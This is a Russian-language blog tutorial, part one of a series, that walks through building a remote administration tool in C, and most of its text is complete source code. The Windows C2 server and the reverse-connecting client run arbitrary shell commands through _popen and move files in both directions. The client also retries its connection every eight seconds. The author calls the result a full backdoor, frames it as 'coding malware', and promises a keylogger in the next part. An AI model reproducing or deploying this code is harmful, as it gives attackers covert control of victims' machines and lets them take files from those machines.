Пишем RAT (remote administration tool) на C. Часть 1
Эту статью можно назвать ремейком одной из наших прошлых публикаций, в которой мы разбирали RAT на Python.
Возможно, вы захотите узнать зачем нужен C, когда есть Python?
Если сравнивать Си и Питон, вы наверняка заметите разницу в количестве кода, для одного и того же действия, и польза будет явно не у Си.

Но сложность компенсируется размером скомпилированного приложения. В конце статьи мы сравним вес RAT-ов на Python с похожим функционалом и вес RAT-a на C.
Еще один минус Питона – для запуска файлов .py, на системе должен быть установлен этот самый Питон, конечно, вы можете скомпилировать скрипт, с помощью pyinstaller, но тогда ваши 20-30 килобайт кода превратятся в 20-30 мегабайт. Происходит это потому, что при компиляции к вашему коду добавляются не только библиотеки, но и интерпретатор, делая размер просто гигантским по сравнению с Си.
Помимо веса, важна скорость работы и тут Python тоже отстаёт, конечно, существуют библиотеки вроде pypy, но даже они не сравняться со скоростью C.
Сервер C2
Как и в прошлый раз, у нас будет управляющий сервер (C2), к которому будут подключатся клиенты. Для начала создадим заголовочный файл tools.h, в нем будут некоторые функции, которые мы будем использовать в клиенте и сервере (осторожно, дальше много кода, все исходники сможете найти у нас на канале – @badbclub).
- #ifndef TOOLS_H
- #define TOOLS_H
- #define BUFLEN 8192
- #define MEM_CHUNK 5
- // Функция чтения/хранения stdin пока “\n” не будет найдено
- size_t get_line(char* const buf) {
- char c;
- // Длина команды в байтах
- size_t cmd_len = 0;
- // Буфер с массивом команды в байтах, в котором создаем новый элемент и делаем его 0
- buf[cmd_len++] = ‘0’;
- // getchar() возвращает очередной символ из файла stdin, который считывается как переменная типа unsigned char
- c = getchar();
- while (c != ‘\n’ && cmd_len < BUFLEN) {
- buf[cmd_len++] = c;
- c = getchar();
- }
- return cmd_len;
- }
- // Функция сравнения двух строк
- int compare(const char* buf, const char* str) {
- for (int j = 0; str[j] != ‘\0’; j++) {
- if (str[j] != buf[j])
- return 0;
- }
- return 1;
- }
- // Функция копирования int байтов в новый блок памяти
- static inline uint32_t ntohl_conv(char* const buf) {
- uint32_t new;
- memcpy(&new, buf, sizeof(new));
- // Возвращаем переменную new после десериализации
- return ntohl(new);
- }
- #endif
Теперь создадим файл win_server.c, в котором добавим нужные библиотеки и создадим структуры с переменными:
- #include <WS2tcpip.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdint.h>
- #include “tools.h”
- #pragma comment(lib, “ws2_32.lib”)
- typedef struct {
- // Переменная с айпи/именем хоста
- char* host;
- // Переменная с сокетом
- SOCKET sock;
- } Conn;
- typedef struct {
- // Мьютекс для проверки race condition
- HANDLE ghMutex;
- // Сокет сервера для приема подключений
- SOCKET listen_socket;
- // Массив Conn объектов/структур
- Conn* clients;
- // Выделенные блоки памяти
- size_t alloc;
- // К-во используемой памяти
- size_t size;
- } Conn_map;
- typedef int (*func)(char*, size_t, SOCKET);
Напишем функции создания и закрытия сокета:
- // Функция закрытия сокета.
- void terminate_server(SOCKET socket, char* error) {
- int err_code = 0;
- if (error) {
- fprintf(stderr, “%s: ld\n”, error, WSAGetLastError());
- err_code = 1;
- }
- closesocket(socket);
- /*
- Вызов WSACleanup позволяет системе освободить задействованные ресурсы.
- Здесь та же политика что и с кучей – память, выделенная на куче, просто так не освобождается.
- Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено
- */
- WSACleanup();
- exit(err_code);
- }
- // Функция создания сокета.
- const SOCKET create_socket() {
- // Инициализируем winsock.
- WSADATA wsData;
- WORD ver = MAKEWORD(2, 2);
- /* Функция WSAStartup инициализирует структуру данных WSADATA.
- Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock,
- каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти,
- и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты
- */
- int wsResult = WSAStartup(ver, &wsData);
- // Создаем сокет сервера.
- const SOCKET listen_socket = socket(AF_INET, SOCK_STREAM, 0);
- /* В случае возникновения ошибки на этапе создания сокета сервера
- выведем в консоль сообщение через функцию WSAGetLastError, думаю не нужно объяснять, что она делает
- */
- if (listen_socket == INVALID_SOCKET) {
- fprintf(stderr, “Socket creation failed: %ld\n”, WSAGetLastError());
- WSACleanup();
- exit(1);
- }
- int optval = 1;
- if (setsockopt(listen_socket, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) != 0)
- terminate_server(listen_socket, “Error setting socket options”);
- return listen_socket;
- }
Функция привязки сокета к указанному порту:
- // Функция для привязки сокета к указанному порту
- void bind_socket(const SOCKET listen_socket, const int port) {
- // Создаем hint структуру.
- struct sockaddr_in hint;
- hint.sin_family = AF_INET;
- // Функция htons осуществляет перевод целого короткого числа из порядка байт, принятого на компьютере, в сетевой порядок байт
- hint.sin_port = htons(port);
- hint.sin_addr.S_un.S_addr = INADDR_ANY;
- // Привязка ip-адреса и порта к listen_socket.
- if (bind(listen_socket, (struct sockaddr*)&hint, sizeof(hint)) != 0)
- terminate_server(listen_socket, “Socket bind failed with error”);
- // Переводим listen_socket в состояние “прослушивания”
- if (listen(listen_socket, SOMAXCONN) != 0)
- terminate_server(listen_socket, “An error occured while placing the socket in listening state”);
- }
Рекурсивный прием соединений:
- // Поток для рекурсивного приема соединений
- DWORD WINAPI accept_conns(LPVOID* lp_param) {
- Conn_map* conns = (Conn_map*)lp_param;
- conns->alloc = MEM_CHUNK;
- conns->size = 0;
- conns->clients = malloc(conns->alloc * sizeof(Conn));
- conns->listen_socket = create_socket();
- // Порт, на котором мы будем ждать подключений
- bind_socket(conns->listen_socket, 4443);
- while (1) {
- struct sockaddr_in client;
- int c_size = sizeof(client);
- // Сокет клиента.
- const SOCKET client_socket = accept(conns->listen_socket, (struct sockaddr*)&client, &c_size);
- if (client_socket == INVALID_SOCKET)
- terminate_server(conns->listen_socket, “Error accepting client connection”);
- // Имя и порт клиента.
- char host[NI_MAXHOST] = { 0 };
- char service[NI_MAXHOST] = { 0 };
- if (conns->size == conns->alloc)
- conns->clients = realloc(conns->clients, (conns->alloc += MEM_CHUNK) * sizeof(Conn));
- if (getnameinfo((struct sockaddr*)&client, sizeof(client), host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0) {
- printf(“%s connected on port %s\n”, host, service);
- }
- else {
- inet_ntop(AF_INET, &client.sin_addr, host, NI_MAXHOST);
- printf(“%s connected on port %hu\n”, host, ntohs(client.sin_port));
- }
- // Если delete_conn() выполняется – ждём, пока он закончит изменять conns->clients
- WaitForSingleObject(conns->ghMutex, INFINITE);
- // Добавляем имя хоста и объект client_socket в структуру Conn.
- conns->clients[conns->size].host = host;
- conns->clients[conns->size].sock = client_socket;
- conns->size++;
- ReleaseMutex(conns->ghMutex);
- }
- return -1;
- }
Список подключенных клиентов:
- // Функция, которая показывает список доступных подключений
- void list_connections(const Conn_map* conns) {
- printf(“\n\n—————————\n”);
- printf(“— CONNECTED TARGETS —\n”);
- printf(“– Hostname: ID –\n”);
- printf(“—————————\n\n”);
- if (conns->size) {
- for (size_t i = 0; i < conns->size; i++) {
- printf(“%s: %lu\n”, conns->clients[i].host, i);
- }
- printf(“\n\n”);
- }
- else {
- printf(“No connected targets available.\n\n\n”);
- }
- }
Теперь создадим функции, которые будут отправлять команды клиенту:
Скачивание файла:
- // Функция скачивания файла
- int recv_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
- // ‘4’ – код команды для скачивания файла
- buf[9] = ‘4’;
- // Отправляем код команды и имя файла
- if (send(client_socket, &buf[9], cmd_len, 0) < 1)
- return SOCKET_ERROR;
- FILE* fd = fopen(&buf[10], “wb”);
- // Получаем сериализованный размер файла
- if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
- return SOCKET_ERROR;
- // Десериализируем размер файла в байтах
- uint32_t f_size = ntohl_conv(&*(buf));
- // Меняем i_result на true
- int i_result = 1;
- // Переменная для отслеживания загруженных данных
- long int total = 0;
- // Получить все байты/фрагменты файла и записать их в файл
- while (total != f_size && i_result > 0) {
- i_result = recv(client_socket, buf, BUFLEN, 0);
- fwrite(buf, 1, i_result, fd);
- total += i_result;
- }
- // Закрываем файл
- fclose(fd);
- return i_result;
- }
Отправка файла:
- // Функция отправки файла.
- int send_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
- // ‘3’ – код команды для отправки файла
- buf[7] = ‘3’;
- // Отправляем код команды и имя файла
- if (send(client_socket, &buf[7], cmd_len, 0) < 1)
- return SOCKET_ERROR;
- // Открываем файл
- FILE* fd = fopen(&buf[8], “rb”);
- uint32_t bytes = 0, f_size = 0;
- // Еслий файл существует:
- if (fd) {
- // Получаем размер файла
- fseek(fd, 0L, SEEK_END);
- f_size = ftell(fd);
- // Сериализация f_size.
- bytes = htonl(f_size);
- fseek(fd, 0L, SEEK_SET);
- }
- if (send(client_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
- return SOCKET_ERROR;
- // Меняем i_result на true
- int i_result = 1;
- if (f_size) {
- // Рекурсивно читаем и отправляем байты файла клиенту
- int bytes_read;
- while (!feof(fd) && i_result > 0) {
- if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
- // Отправляем байты файла.
- i_result = send(client_socket, buf, bytes_read, 0);
- }
- else {
- break;
- }
- }
- // Закрываем файл
- fclose(fd);
- }
- return i_result;
- }
Завершение работы RAT-a:
- // Функция закрытия соединения с клиентом
- int terminate_client(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
- // ‘2’ код команды для удаления/завершения процесса RAT-a
- send(client_socket, “2”, cmd_len, 0);
- return 0;
- }
Смена директории:
- // Функция смены директории.
- int client_cd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
- // ‘1’ – код команды для смены директории
- buf[3] = ‘1’;
- // Отправка кода команды и названия директории
- if (send(client_socket, &buf[3], cmd_len, 0) < 1)
- return SOCKET_ERROR;
- return 1;
- }
Функция отправки команд клиенту:
- // Функция отправки команд клиенту
- int send_cmd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
- // Отправляем команду.
- if (send(client_socket, buf, cmd_len, 0) < 1)
- return SOCKET_ERROR;
- // Получаем размер выходного потока сериализованных байтов
- if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
- return SOCKET_ERROR;
- // Десериализация размера потока
- uint32_t s_size = ntohl_conv(&*(buf));
- // Меняем i_result на true
- int i_result = 1;
- // Получаем ответ команды и записываем его в stdout
- do {
- if ((i_result = recv(client_socket, buf, BUFLEN, 0)) < 1)
- return i_result;
- fwrite(buf, 1, i_result, stdout);
- } while ((s_size -= i_result) > 0);
- // Символ \n нужен для выравнивания командной строки
- fputc(‘\n’, stdout);
- return i_result;
- }
Функция парсинга команд:
- // Функция парсинга команд
- const func parse_cmd(char* const buf) {
- // Массив команд.
- const char commands[4][10] = { “cd “, “exit”, “upload “, “download ” };
- // Массив указателей функций каждой команды
- const func func_array[4] = { &client_cd, &terminate_client, &send_file, &recv_file };
- for (int i = 0; i < 4; i++) {
- if (compare(buf, commands[i]))
- return func_array[i];
- }
- // Если команда не обнаружилась в commands – отправляем/выполняем ее на клиенте через _popen()
- return &send_cmd;
- }
Закрытие соединений:
- // Функция для изменения размера массива conns/удаления и закрытия соединений.
- void delete_conn(Conn_map* conns, const int client_id) {
- // Если accept_conns() выполняется – ждём, пока завершится conns->clients.
- WaitForSingleObject(conns->ghMutex, INFINITE);
- if (conns->clients[client_id].sock)
- closesocket(conns->clients[client_id].sock);
- // Если есть более одного подключения:
- if (conns->size > 1) {
- int max_index = conns->size-1;
- for (size_t i = client_id; i < max_index; i++) {
- conns->clients[i].sock = conns->clients[i + 1].sock;
- conns->clients[i].host = conns->clients[i + 1].host;
- }
- conns->clients[max_index].sock = 0;
- conns->clients[max_index].host = NULL;
- }
- conns->size–;
- // ReleaseMutex нужен, чтобы accept_conns() мог продолжать выполняться.
- ReleaseMutex(conns->ghMutex);
- }
Взаимодействие с соединениями:
- // Функция для “сворачивания” соединения и вызова команд.
- void interact(Conn_map* conns, char* const buf, const int client_id) {
- const SOCKET client_socket = conns->clients[client_id].sock;
- char* client_host = conns->clients[client_id].host;
- // Меняем i_result на true.
- int i_result = 1;
- // Получаем и парсим команды /отправляем их клиенту.
- while (i_result > 0) {
- printf(“%s // “, client_host);
- // Обнуляем все байты в буфере.
- memset(buf, ‘\0’, BUFLEN);
- size_t cmd_len = get_line(buf);
- char* cmd = &buf[1];
- if (cmd_len > 1) {
- if (compare(cmd, “background”)) {
- return;
- }
- else {
- // Если команда спарсилась успешно вызываем её функцию или отправляем её клиенту.
- const func target_func = parse_cmd(cmd);
- i_result = target_func(buf, cmd_len, client_socket);
- }
- }
- }
- // Если клиент отключился/вышел – удаляем соединение.
- delete_conn(conns, client_id);
- printf(“Client: \”%s\” is no longer connected.\n\n”, client_host);
- }
Выполнение команд через Popen:
- // Функция выполнения команд.
- void exec_cmd(char* const buf) {
- // Вызываем Popen чтобы выполнить команду и читаем её ответ.
- FILE* fpipe = _popen(buf, “r”);
- fseek(fpipe, 0, SEEK_END);
- size_t cmd_len = ftell(fpipe);
- fseek(fpipe, 0, SEEK_SET);
- // Пишем ответ команды в stdout.
- int rb = 0;
- do {
- rb = fread(buf, 1, BUFLEN, fpipe);
- fwrite(buf, 1, rb, stdout);
- } while (rb == BUFLEN);
- // Символ \n нужен для выравнивания командной строки.
- fputc(‘\n’, stdout);
- // Закрываем пайп.
- _pclose(fpipe);
- }
Функция Main, в которой мы запускаем C2 сервер и ждем подключений:
- // Основная функция для парсинга команд и вызова остальных функций.
- int main(void) {
- Conn_map conns;
- conns.ghMutex = CreateMutex(NULL, FALSE, NULL);
- HANDLE acp_thread = CreateThread(0, 0, accept_conns, &conns, 0, 0);
- HANDLE hColor;
- hColor = GetStdHandle(STD_OUTPUT_HANDLE);
- SetConsoleTextAttribute(hColor, 9);
- while (1) {
- printf(“CyberSec RAT\n[]==> “);
- // BUFLEN + 1, чтобы строка всегда оканчивалась нулем
- char buf[BUFLEN + 1] = { 0 };
- size_t cmd_len = get_line(buf);
- char* cmd = &buf[1];
- if (cmd_len > 1) {
- if (compare(cmd, “exit”)) {
- // Выйти из приема подключений
- TerminateThread(acp_thread, 0);
- // Если есть какие-либо коннекты, закрываем их перед выходом
- if (conns.size) {
- for (size_t i = 0; i < conns.size; i++) {
- closesocket(conns.clients[i].sock);
- }
- // Освобождаем выделенную память
- free(conns.clients);
- }
- terminate_server(conns.listen_socket, NULL);
- }
- else if (compare(cmd, “cd “)) {
- // Изменение текущей директории
- _chdir(&cmd[3]);
- }
- else if (compare(cmd, “list”)) {
- // Список всех подключений
- list_connections(&conns);
- }
- else if (compare(cmd, “interact “)) {
- // Взаимодействие с клиентом
- int client_id;
- client_id = atoi(&cmd[9]);
- if (!conns.size || client_id < 0 || client_id > conns.size – 1) {
- printf(“Invalid client identifier.\n”);
- }
- else {
- interact(&conns, buf, client_id);
- }
- }
- else {
- // Выполняем команду
- exec_cmd(cmd);
- }
- }
- }
- return -1;
- }
На этом код сервера можно считать полностью готовым. Я использую IDE CodeBlocks, поэтому в настройках компиляции нужно указать библиотеку lws2_32, без нее IDE будет выдавать ошибки (для клиента нужно будет сделать этот шаг снова).


После успешной компиляции можно проверить работоспособность сервера используя NetCat:


Конекты приходят и с ними можно взаимодействовать, а это значит, что сервер работает.
Клиент
В коде клиента мы будем использовать заголовочный файл tools.h, который создали в начале статьи. Через #include добавляем нужные библиотеки и создаем функцию create_socket:
- #include <ws2tcpip.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdint.h>
- #include “tools.h”
- #pragma comment(lib, “Ws2_32.lib”)
- // Функция создания сокета
- const SOCKET create_socket() {
- // Инициализируем winsock
- WSADATA wsData;
- WORD ver = MAKEWORD(2, 2);
- if (WSAStartup(ver, &wsData) != 0)
- return INVALID_SOCKET;
- // Создаем сокет
- const SOCKET connect_socket = socket(AF_INET, SOCK_STREAM, 0);
- if (connect_socket == INVALID_SOCKET) {
- WSACleanup();
- return connect_socket;
- }
- return connect_socket;
- }
Функция подключения к C2, которая будет принимать переменные host и port:
- // Функция подключения сокета к c2 серверу.
- int c2_connect(const SOCKET connect_socket, const char* host, const int port) {
- struct sockaddr_in hint;
- hint.sin_family = AF_INET;
- hint.sin_port = htons(port);
- inet_pton(AF_INET, host, &hint.sin_addr);
- // Подключение к серверу, на котором запущен c2
- if (connect(connect_socket, (struct sockaddr*)&hint, sizeof(hint)) == SOCKET_ERROR) {
- closesocket(connect_socket);
- return SOCKET_ERROR;
- }
- return 1;
- }
Функция получения файла с C2:
- // Функция получения файла с C2
- int recv_file(char* const buf, const char* filename, const SOCKET connect_socket) {
- FILE* fd = fopen(filename, “wb”);
- // Получаем размер файла
- if (recv(connect_socket, buf, sizeof(uint32_t), 0) < 1)
- return SOCKET_ERROR;
- // Сериализуем f_size.
- uint32_t f_size = ntohl_conv(&*(buf));
- // Получаем байты и записываем их в файл.
- int i_result = 1;
- long int total = 0;
- while (total != f_size && i_result > 0) {
- i_result = recv(connect_socket, buf, BUFLEN, 0);
- fwrite(buf, 1, i_result, fd);
- total += i_result;
- }
- fclose(fd);
- return i_result;
- }
Отправка файла на C2:
- // Функция отправки файла на c2
- int send_file(const char* filename, const SOCKET connect_socket, char* const buf) {
- // Открываем файл
- FILE* fd = fopen(filename, “rb”);
- uint32_t bytes = 0, f_size = 0;
- if (fd) {
- // Считаем размер файла
- fseek(fd, 0L, SEEK_END);
- f_size = ftell(fd);
- // Сериализуем f_size.
- bytes = htonl(f_size);
- fseek(fd, 0L, SEEK_SET);
- }
- if (send(connect_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
- return SOCKET_ERROR;
- int i_result = 1;
- // Рекурсивно читаем и отправляем байты файла на c2 сервер.
- if (f_size) {
- int bytes_read;
- while (!feof(fd) && i_result > 0) {
- // Читаем файл, пока не дойдем до конца
- if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
- // Отправляем байты
- i_result = send(connect_socket, buf, bytes_read, 0);
- }
- else {
- break;
- }
- }
- // Закрываем файл
- fclose(fd);
- }
- return i_result;
- }
Выполнение команд через Popen:
- // Функция выполнения команд
- int exec_cmd(const SOCKET connect_socket, char* const buf) {
- // Вызываем Popen для выполнения команд и читаем результат.
- strcat(buf, ” 2>&1″);
- FILE* fpipe = _popen(buf, “r”);
- int bytes_read;
- if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0) {
- bytes_read = 1;
- buf[0] = ‘\0’;
- }
- uint32_t s_size = bytes_read;
- const int chunk = 24576;
- int capacity = chunk;
- char* output = malloc(capacity);
- strcpy(output, buf);
- // Читаем и сохраняем stdout в output.
- while (1) {
- if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0)
- break;
- // Если output достигнет максимального объема в памяти.
- if ((s_size += bytes_read) == capacity)
- output = realloc(output, (capacity += chunk));
- strcat(output, buf);
- }
- // Сериализация s_size.
- uint32_t bytes = htonl(s_size);
- // Отправляем байты
- if (send(connect_socket, (char*)&bytes, sizeof(uint32_t), 0) < 1)
- return SOCKET_ERROR;
- int i_result = send(connect_socket, output, s_size, 0);
- free(output);
- // Закрываем пайп.
- _pclose(fpipe);
- return i_result;
- }
Функция Main, в ней мы будем использовать кейсы для каждой команды, а если подключится к серверу не получиться – ждем 8 секунд и пробуем еще раз:
- // Основная функция для подключения к серверу c2 и парсинга команд
- int main(void) {
- // Порт и айпи c2 сервера.
- const char host[] = “127.0.0.1”;
- const int port = 4443;
- while (1) {
- // Создаем сокет.
- const SOCKET connect_socket = create_socket();
- /*
- При подключении к c2 запускаем цикл для приема/парсинга команд.
- В случае возникновения ошибки (потеря соединения и т.д.) – прерываем цикл и повторно его перезапускаем.
- Оператор switch будет анализировать и выполнять функции в соответствии с полученным кодом.
- */
- if (connect_socket != INVALID_SOCKET) {
- int i_result = c2_connect(connect_socket, host, port);
- while (i_result > 0) {
- // BUFLEN + 1 + 4, для null байта и конкатенации “2>&1”
- char buf[BUFLEN + 5] = { 0 };
- if (recv(connect_socket, buf, BUFLEN, 0) < 1)
- break;
- // buf[0] – код команды, а &buf[1] ее аргумент
- switch (buf[0]) {
- case ‘0’:
- i_result = exec_cmd(connect_socket, &buf[1]);
- break;
- case ‘1’:
- // Вызываем функцию смены директории
- _chdir(&buf[1]);
- break;
- case ‘2’:
- // Выход
- return 0;
- case ‘3’:
- // Получаем файл с c2 сервера
- i_result = recv_file(buf, &buf[1], connect_socket);
- break;
- case ‘4’:
- // Отправляем файл на c2 сервер
- i_result = send_file(&buf[1], connect_socket, buf);
- break;
- }
- }
- }
- // Если подключится не удалось ждем 8 секунд и пробуем еще раз
- Sleep(8000);
- }
- return -1;
- }
Скриншоты работы:

Вес сервера 96 килобайт, а вес клиента 86 килобайт:

Теперь посмотрим, как дела у RAT-a на Python из прошлой статьи:

Еще один RAT, который использует Telegram как управляющий сервер:

Заключение
Эта статья является первой частью и наглядным примером, почему стоит делать выбор в пользу С при кодинге малвари (в целях самообучения конечно же). Теперь вы имеете представление о том, как создается полноценный бэкдор на С, который предоставляет управление машиной, надеемся, что вы уже ощущаете невероятную мощь этого языка и готовы к экспериментам, ведь в следующей части мы рассмотрим создание кейлоггера и сравним его с аналогами на Python.
Добавь нормальные код блоки. глазкам больно так читать. намасте
Друже, в такому вигляді код буде біль читабельним